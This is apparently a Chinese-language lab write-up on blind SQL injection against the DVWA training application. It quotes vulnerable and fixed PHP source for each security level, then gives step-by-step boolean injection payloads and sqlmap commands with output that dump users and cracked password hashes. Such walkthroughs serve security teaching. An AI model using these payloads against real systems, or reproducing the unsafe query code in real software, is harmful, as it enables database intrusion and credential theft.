上一篇文章談及了 dvwa 中的SQL注入攻擊,而這篇和上一篇內容很像,都是關於SQL注入攻擊。和上一篇相比,上一篇的注入成功就馬上得到所有用戶的信息,這部分頁面上不會返回一些很明顯的信息供你調試,就連是否注入成功也要自己判斷的,因此叫盲注。更值得留意的是盲注的思路

(盲注就讓我想起了。。。許昕,中國乒乓球國手+人民藝術家。然而他400°近視,日常帶眼鏡,打球反而不帶,球感遠超常人, 人稱大蟒、世界第一盲打)
要盲注的頁面往往是這樣的

沒有很具體的錯誤提示,只會提示用戶存在還是不存在
所以有時候攻擊會不知道注入成功與否,所以攻擊者有時會通過一些延時操作去判斷注入是否成功,比如 如果數據庫用的是 MySQL,會用 BENCHMARK 或者 SLEEP 函數。 這篇也和上一章一樣的,先介紹漏洞的注入點再介紹一些注入的思路
低級
界面就是上面那圖,代碼也和上一篇章的幾乎是一樣的,輸出只會是用戶存在還是不存在。
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
它這里也沒有做什么處理的。隨便注入都行的。
- boolean 型,輸入
1' or '1' = '1 - 注釋型,
1' or 1=1 # - union 型,比如輸入
' UNION ALL SELECT NULL, database()#
但這樣的不知道有什么作用。若想知道如何利用這樣的注入點,你可以直接拉到最后看注入的流程
中級
中級就是變成下拉選擇了,所以要用 burp suite,或者火狐瀏覽器去改。比如用火狐瀏覽器。

而代碼中有 mysql_real_escape_string 對特殊字符等進行轉義,所以就用不了 ' 或 " 之類的符號,不過它這里的代碼 $id 是數字,也需要用 ' 符號。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
}
下面展示用火狐的審查元素注入吧。這里明顯可以用1 or 1=1注入的,將 form 表單改成這樣即可。

高級

高級主要是和上面的主要區別是通過迷之cookies 傳參,還有個LIMIT 1 限制了條數,再有一個就是查詢失敗的時候會隨機 sleep。
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
和上一篇文章一樣,用注釋就能解決LIMIT 1的問題了。所以這樣就可以了。

不可能
不可能級別和上一篇類似
- anti-token 機制防 CSRF 攻擊
- 檢查 id 是不是數字
- 使用 prepare 預編譯再綁定變量a
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
注入的流程
一般注入的流程可能會是這樣,概括起來可能就是劉歡的《千萬次地問》,這里用低級代碼嘗試。
數據庫的名字
這種頁面要知曉數據庫的名字也是挺麻煩,要不斷地去嘗試。
猜數據庫名的長度
1' and length(database()) = 2 #
1' and length(database()) = 3 #
1' and length(database()) = 4 #
...
用二分法猜數據庫的名字
其中 a是97,z是122
第一個字母在 a 到 m 之間嗎?
輸入 1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 109 #
在
第一個字母在 a 到 g 之間嗎?
1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 103 #
在
第一個字母在 a 到 d 之間嗎?
。。。
第一個字母是d嗎?
1' and ascii(substr(database(),1,1))=100 #
是的
第二個字母在 a 到 m 之間嗎?
1' and ascii(substr(database(),2,1))>=97 and ascii(substr(database(),1,1)) <= 109 #
不對 ...
一堆這樣的操作你就知道數據庫的名字是 dvwa 了。。。
所有表的名字
表的數量
數據庫有一個表嗎?
1' and (select count(table\_name) from information\_schema.tables where table_schema=database())=1 #
不對
數據庫有兩個表嗎?
1' and (select count (table\_name) from information\_schema.tables where table_schema=database())=2
對的,差點就三個(代)表了
第n個表的名長度
第1個表的名長度是1嗎?
1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=1 #
第1個表的名長度是2嗎?
1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=2 #
... 結果第一個表的長度是 9 。
第n個表的名字
再用二分法去找,要考慮有 _ 之類的特殊符號。。。
第一個表的第一個字母在 a~m 之間嗎?
1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>=97 and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<=109 #
。。。 最后可以得出 兩個表的名字叫 guestbook,users。
表字段名
針對 users表來說
表字段的數量
users 表有1個字段嗎?
1' and (select count(column\_name) from information\_schema.columns where table_name= 'users')=1 #
...
結果有 8個字段
第n個字段的長度
users 表第1個字段的長度是 1 嗎?
1' and length(substr((select column\_name from information\_schema.columns where table_name= 'users' limit 0,1),1))=1 #
... 第一個字段的長度是 7
第n個字段的名字
第一個字段名字是 user_id 嗎?
1' and substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1)='user\_id'
猜中了。。
第二個字段的第一個字母在 a~m 之間嗎?
1' and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) >= 97 and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) <=109 #
...
結果是 a
猜數據
用戶 admin 存在嗎?
1' and (select count(*) from users where user = 'admin') = 1 #
admin 密碼的第一位在 a~m 之間嗎?
1' and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) >= 97 and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) <= 109 #
...
SQLMap
千萬次地問,弄得人很煩的。還是用工具方便好,感謝自動化,感謝程序員。與上一篇文章類似。
獲取所有的數據庫
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
而我們比較感興趣的是,dvwa 數據庫。接下來想后去它的所有的表
獲取 dvwa 所有的表
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
獲取users表的所有字段
這里比較慢可以用多線程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
獲取用戶及密碼信息
比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10 而且還問你是否要用密碼字典爆破,簡直優秀,結果如下。
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+
